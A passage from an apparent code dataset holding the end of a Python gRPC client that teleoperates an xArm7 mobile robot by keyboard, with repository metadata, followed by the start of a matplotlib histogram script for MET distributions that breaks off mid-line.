motion.\")\n\n    def arm_get_jawwidth(self):\n        gripper_msg = self.stub.arm_get_gripper_status(aa_msg.Empty())\n        return (gripper_msg.position + 10) / 860 * .085\n\n    def arm_jaw_to(self, jawwidth, speed=None):\n        \"\"\"\n        both values are in percentage\n        :param jawwidth: 0~100\n        :param speed: 0~100\n        :return:\n        \"\"\"\n        if speed is None:\n            speed = 5000\n        else:\n            speed = math.floor(5000 * speed / 100)\n        position = math.floor(860 * jawwidth / 100) - 10\n        gripper_msg = aa_msg.GripperStatus(speed=speed,\n                                           position=position)\n        return_value = self.stub.arm_jaw_to(gripper_msg)\n        if return_value == aa_msg.Status.ERROR:\n            print(\"Something went wrong with the server!! Try again!\")\n            raise Exception()\n        else:\n            print(\"The gripper has finished the given action.\")\n\n    def agv_move(self, linear_speed=.0, angular_speed=.0, time_interval=.5):\n        while time_interval > 0:\n            speed_msg = aa_msg.Speed(linear_velocity=linear_speed,\n                                     angular_velocity=angular_speed)\n            # try:\n            return_value = self.stub.agv_move(speed_msg)\n            if return_value == aa_msg.Status.ERROR:\n                print(\"Something went wrong with the server!!\")\n                continue\n            time_interval = time_interval - .5\n            time.sleep(.3)\n            # except Exception:\n            #     pass\n\n\nif __name__ == \"__main__\":\n    import keyboard\n    import basis.robot_math as rm\n    import visualization.panda.world as wd\n    import robot_sim.robots.xarm7_shuidi_mobile.xarm7_shuidi_mobile as rbt\n\n    base = wd.World(cam_pos=[3, 1, 1.5], lookat_pos=[0, 0, 0.7])\n    rbt_s = rbt.XArm7YunjiMobile()\n    rbt_x = XArmShuidiClient(host=\"10.2.0.201:18300\")\n    jnt_values = rbt_x.arm_get_jnt_vlaues()\n    jawwidth = rbt_x.arm_get_jawwidth()\n    rbt_s.fk(jnt_values=jnt_values)\n    rbt_s.jaw_to(jawwidth=jawwidth)\n    rbt_s.gen_meshmodel().attach_to(base)\n    # base.run()\n    # rbt_x.agv_move(agv_linear_speed=-.1, agv_angular_speed=.1, time_intervals=5)\n    agv_linear_speed = .2\n    agv_angular_speed = .5\n    arm_linear_speed = .02\n    arm_angular_speed = .05\n    while True:\n        pressed_keys = {\"w\": keyboard.is_pressed('w'),\n                        \"a\": keyboard.is_pressed('a'),\n                        \"s\": keyboard.is_pressed('s'),\n                        \"d\": keyboard.is_pressed('d'),\n                        \"r\": keyboard.is_pressed('r'),  # x+ global\n                        \"t\": keyboard.is_pressed('t'),  # x- global\n                        \"f\": keyboard.is_pressed('f'),  # y+ global\n                        \"g\": keyboard.is_pressed('g'),  # y- global\n                        \"v\": keyboard.is_pressed('v'),  # z+ global\n                        \"b\": keyboard.is_pressed('b'),  # z- global\n                        \"y\": keyboard.is_pressed('y'),  # r+ global\n                        \"u\": keyboard.is_pressed('u'),  # r- global\n                        \"h\": keyboard.is_pressed('h'),  # p+ global\n                        \"j\": keyboard.is_pressed('j'),  # p- global\n                        \"n\": keyboard.is_pressed('n'),  # yaw+ global\n                        \"m\": keyboard.is_pressed('m')}  # yaw- global\n        # \"R\": keyboard.is_pressed('R'),  # x+ local\n        # \"T\": keyboard.is_pressed('T'),  # x- local\n        # \"F\": keyboard.is_pressed('F'),  # y+ local\n        # \"G\": keyboard.is_pressed('G'),  # y- local\n        # \"V\": keyboard.is_pressed('V'),  # z+ local\n        # \"B\": keyboard.is_pressed('B'),  # z- local\n        # \"Y\": keyboard.is_pressed('Y'),  # r+ local\n        # \"U\": keyboard.is_pressed('U'),  # r- local\n        # \"H\": keyboard.is_pressed('H'),  # p+ local\n        # \"J\": keyboard.is_pressed('J'),  # p- local\n        # \"N\": keyboard.is_pressed('N'),  # yaw+ local\n        # \"M\": keyboard.is_pressed('M')}  # yaw- local\n        values_list = list(pressed_keys.values())\n        if pressed_keys[\"w\"] and pressed_keys[\"a\"]:\n            rbt_x.agv_move(linear_speed=agv_linear_speed, angular_speed=agv_angular_speed, time_interval=.5)\n        elif pressed_keys[\"w\"] and pressed_keys[\"d\"]:\n            rbt_x.agv_move(linear_speed=agv_linear_speed, angular_speed=-agv_angular_speed, time_interval=.5)\n        elif pressed_keys[\"s\"] and pressed_keys[\"a\"]:\n            rbt_x.agv_move(linear_speed=-agv_linear_speed, angular_speed=-agv_angular_speed, time_interval=.5)\n        elif pressed_keys[\"s\"] and pressed_keys[\"d\"]:\n            rbt_x.agv_move(linear_speed=-agv_linear_speed, angular_speed=agv_angular_speed, time_interval=.5)\n        elif pressed_keys[\"w\"] and sum(values_list) == 1:  # if key 'q' is pressed\n            rbt_x.agv_move(linear_speed=agv_linear_speed, angular_speed=.0, time_interval=.5)\n        elif pressed_keys[\"s\"] and sum(values_list) == 1:  # if key 'q' is pressed\n            rbt_x.agv_move(linear_speed=-agv_linear_speed, angular_speed=.0, time_interval=.5)\n        elif pressed_keys[\"a\"] and sum(values_list) == 1:  # if key 'q' is pressed\n            rbt_x.agv_move(linear_speed=.0, angular_speed=agv_angular_speed, time_interval=.5)\n        elif pressed_keys[\"d\"] and sum(values_list) == 1:  # if key 'q' is pressed\n            rbt_x.agv_move(linear_speed=.0, angular_speed=-agv_angular_speed, time_interval=.5)\n        elif any(pressed_keys[item] for item in ['r', 't', 'f', 'g', 'v', 'b', 'y', 'u', 'h', 'j', 'n', 'm']) and \\\n                sum(values_list) == 1:  # global\n            tic = time.time()\n            current_arm_tcp_pos, current_arm_tcp_rotmat = rbt_s.get_gl_tcp()\n            rel_pos = np.zeros(3)\n            rel_rotmat = np.eye(3)\n            if pressed_keys['r']:\n                rel_pos = np.array([arm_linear_speed * .5, 0, 0])\n            elif pressed_keys['t']:\n                rel_pos = np.array([-arm_linear_speed * .5, 0, 0])\n            elif pressed_keys['f']:\n                rel_pos = np.array([0, arm_linear_speed * .5, 0])\n            elif pressed_keys['g']:\n                rel_pos = np.array([0, -arm_linear_speed * .5, 0])\n            elif pressed_keys['v']:\n                rel_pos = np.array([0, 0, arm_linear_speed * .5])\n            elif pressed_keys['b']:\n                rel_pos = np.array([0, 0, -arm_linear_speed * .5])\n            elif pressed_keys['y']:\n                rel_rotmat = rm.rotmat_from_euler(arm_angular_speed * .5, 0, 0)\n            elif pressed_keys['u']:\n                rel_rotmat = rm.rotmat_from_euler(-arm_angular_speed * .5, 0, 0)\n            elif pressed_keys['h']:\n                rel_rotmat = rm.rotmat_from_euler(0, arm_angular_speed * .5, 0)\n            elif pressed_keys['j']:\n                rel_rotmat = rm.rotmat_from_euler(0, -arm_angular_speed * .5, 0)\n            elif pressed_keys['n']:\n                rel_rotmat = rm.rotmat_from_euler(0, 0, arm_angular_speed * .5)\n            elif pressed_keys['m']:\n                rel_rotmat = rm.rotmat_from_euler(0, 0, -arm_angular_speed * .5)\n            new_arm_tcp_pos = current_arm_tcp_pos + rel_pos\n            new_arm_tcp_rotmat = rel_rotmat.dot(current_arm_tcp_rotmat)\n            last_jnt_values = rbt_s.get_jnt_values()\n            new_jnt_values = rbt_s.ik(tgt_pos=new_arm_tcp_pos, tgt_rotmat=new_arm_tcp_rotmat)\n            rbt_s.fk(jnt_values=new_jnt_values)\n            toc = time.time()\n            start_frame_id = math.ceil((toc - tic) / .01)\n            rbt_x.arm_move_jspace_path([last_jnt_values, new_jnt_values], time_interval=.1,\n                                       start_frame_id=start_frame_id)\n        # elif any(pressed_keys[item] for item in ['R', 'T', 'F', 'G', 'V', 'B', 'Y', 'U', 'H', 'J', 'N', 'M']) and\\\n        #         sum(values_list) == 1: # local\n        #     tic = time.time()\n        #     rel_pos = np.zeros(3)\n        #     rel_rotmat = np.eye(3)\n        #     if pressed_keys['r']:\n        #         rel_pos = np.array([arm_linear_speed * .5, 0, 0])\n        #     elif pressed_keys['t']:\n        #         rel_pos = np.array([-arm_linear_speed * .5, 0, 0])\n        #     elif pressed_keys['f']:\n        #         rel_pos = np.array([0, arm_linear_speed * .5, 0])\n        #     elif pressed_keys['g']:\n        #         rel_pos = np.array([0, -arm_linear_speed * .5, 0])\n        #     elif pressed_keys['v']:\n        #         rel_pos = np.array([0, 0, arm_linear_speed * .5])\n        #     elif pressed_keys['b']:\n        #         rel_pos = np.array([0, 0, -arm_linear_speed * .5])\n        #     elif pressed_keys['y']:\n        #         rel_rotmat = rm.rotmat_from_euler(arm_angular_speed*.5, 0, 0)\n        #     elif pressed_keys['u']:\n        #         rel_rotmat = rm.rotmat_from_euler(-arm_angular_speed*.5, 0, 0)\n        #     elif pressed_keys['h']:\n        #         rel_rotmat = rm.rotmat_from_euler(0, arm_angular_speed*.5, 0)\n        #     elif pressed_keys['j']:\n        #         rel_rotmat = rm.rotmat_from_euler(0, -arm_angular_speed * .5, 0)\n        #     elif pressed_keys['n']:\n        #         rel_rotmat = rm.rotmat_from_euler(0, 0, arm_angular_speed*.5)\n        #     elif pressed_keys['m']:\n        #         rel_rotmat = rm.rotmat_from_euler(0, 0, -arm_angular_speed*.5)\n        #     new_arm_tcp_pos, new_arm_tcp_rotmat = rbt_s.cvt_loc_tcp_to_gl(\"arm\",\n        #                                                                   rel_obj_pos=rel_pos,\n        #                                                                   rel_obj_rotmat=rel_rotmat)\n        #     last_jnt_values = rbt_s.get_jnt_values()\n        #     new_jnt_values = rbt_s.ik(tgt_pos=new_arm_tcp_pos, tgt_rotmat=new_arm_tcp_rotmat)\n        #     rbt_s.fk(jnt_values=new_jnt_values)\n        #     toc = time.time()\n        #     start_frame_id = math.ceil((toc - tic) / .01)\n        #     rbt_x.arm_move_jspace_path([last_jnt_values, new_jnt_values], time_intervals=.1, start_frame_id=start_frame_id)\n\n# path = [[0, 0, 0, 0, 0, 0, 0]]wwwwwwwwwwww\n# rbt_x.move_jspace_path(path)\n# nxt.playPattern([anglesrad], [5.0])\n# nxt.goOffPose()\n# init_jnt_angles = rbt_x.get_jnt_vlaues()\n# print(init_jnt_angles)\n# init_jawwidth = rbt_x.get_jawwidth()\n# print(init_jawwidth)\n# rbt_x.jaw_to(0)\n", "meta": {"hexsha": "40a5189da7235b4edc98399f5a0a1b529c34195e", "size": 13927, "ext": "py", "lang": "Python", "max_stars_repo_path": "robot_con/xarm_shuidi/xarm_shuidi_client.py", "max_stars_repo_name": "Shogo-Hayakawa/wrs", "max_stars_repo_head_hexsha": "405f15be1a3f7740f3eb7d234d96998f6d057a54", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "robot_con/xarm_shuidi/xarm_shuidi_client.py", "max_issues_repo_name": "Shogo-Hayakawa/wrs", "max_issues_repo_head_hexsha": "405f15be1a3f7740f3eb7d234d96998f6d057a54", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "robot_con/xarm_shuidi/xarm_shuidi_client.py", "max_forks_repo_name": "Shogo-Hayakawa/wrs", "max_forks_repo_head_hexsha": "405f15be1a3f7740f3eb7d234d96998f6d057a54", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 49.0387323944, "max_line_length": 125, "alphanum_fraction": 0.5666690601, "include": true, "reason": "import numpy", "num_tokens": 3617, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5621765008857981, "lm_q2_score": 0.15405755880753266, "lm_q1q2_score": 0.08660753934542677}}
{"text": "def selection_14():\n\n    # Library import\n    import numpy\n    import matplotlib\n    import matplotlib.pyplot   as plt\n    import matplotlib.gridspec as gridspec\n\n    # Library version\n    matplotlib_version = matplotlib.__version__\n    numpy_version      = numpy.__version__\n\n    # Histo binning\n    xBinning = numpy.linspace(0.0,1000.0,201,endpoint=True)\n\n    # Creating data sequence: middle of each bin\n    xData = numpy.array([2.5,7.5,12.5,17.5,22.5,27.5,32.5,37.5,42.5,47.5,52.5,57.5,62.5,67.5,72.5,77.5,82.5,87.5,92.5,97.5,102.5,107.5,112.5,117.5,122.5,127.5,132.5,137.5,142.5,147.5,152.5,157.5,162.5,167.5,172.5,177.5,182.5,187.5,192.5,197.5,202.5,207.5,212.5,217.5,222.5,227.5,232.5,237.5,242.5,247.5,252.5,257.5,262.5,267.5,272.5,277.5,282.5,287.5,292.5,297.5,302.5,307.5,312.5,317.5,322.5,327.5,332.5,337.5,342.5,347.5,352.5,357.5,362.5,367.5,372.5,377.5,382.5,387.5,392.5,397.5,402.5,407.5,412.5,417.5,422.5,427.5,432.5,437.5,442.5,447.5,452.5,457.5,462.5,467.5,472.5,477.5,482.5,487.5,492.5,497.5,502.5,507.5,512.5,517.5,522.5,527.5,532.5,537.5,542.5,547.5,552.5,557.5,562.5,567.5,572.5,577.5,582.5,587.5,592.5,597.5,602.5,607.5,612.5,617.5,622.5,627.5,632.5,637.5,642.5,647.5,652.5,657.5,662.5,667.5,672.5,677.5,682.5,687.5,692.5,697.5,702.5,707.5,712.5,717.5,722.5,727.5,732.5,737.5,742.5,747.5,752.5,757.5,762.5,767.5,772.5,777.5,782.5,787.5,792.5,797.5,802.5,807.5,812.5,817.5,822.5,827.5,832.5,837.5,842.5,847.5,852.5,857.5,862.5,867.5,872.5,877.5,882.5,887.5,892.5,897.5,902.5,907.5,912.5,917.5,922.5,927.5,932.5,937.5,942.5,947.5,952.5,957.5,962.5,967.5,972.5,977.5,982.5,987.5,992.5,997.5])\n\n    # Creating weights for histo: y15_MET_0\n    y15_MET_0_weights = numpy.array([405.281563328,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating weights for histo: y15_MET_1\n    y15_MET_1_weights = numpy.array([102.864642984,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating weights for histo: y15_MET_2\n    y15_MET_2_weights = numpy.array([477.807617489,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating weights for histo: y15_MET_3\n    y15_MET_3_weights = numpy.array([573.693281578,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating weights for histo: y15_MET_4\n    y15_MET_4_weights = numpy.array([136.765512365,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating weights for histo: y15_MET_5\n    y15_MET_5_weights = numpy.array([23.8424547514,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating weights for histo: y15_MET_6\n    y15_MET_6_weights = numpy.array([6.03761405013,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating weights for histo: y15_MET_7\n    y15_MET_7_weights = numpy.array([0.336661363917,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating weights for histo: y15_MET_8\n    y15_MET_8_weights = numpy.array([0.0252024530109,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating weights for histo: y15_MET_9\n    y15_MET_9_weights = 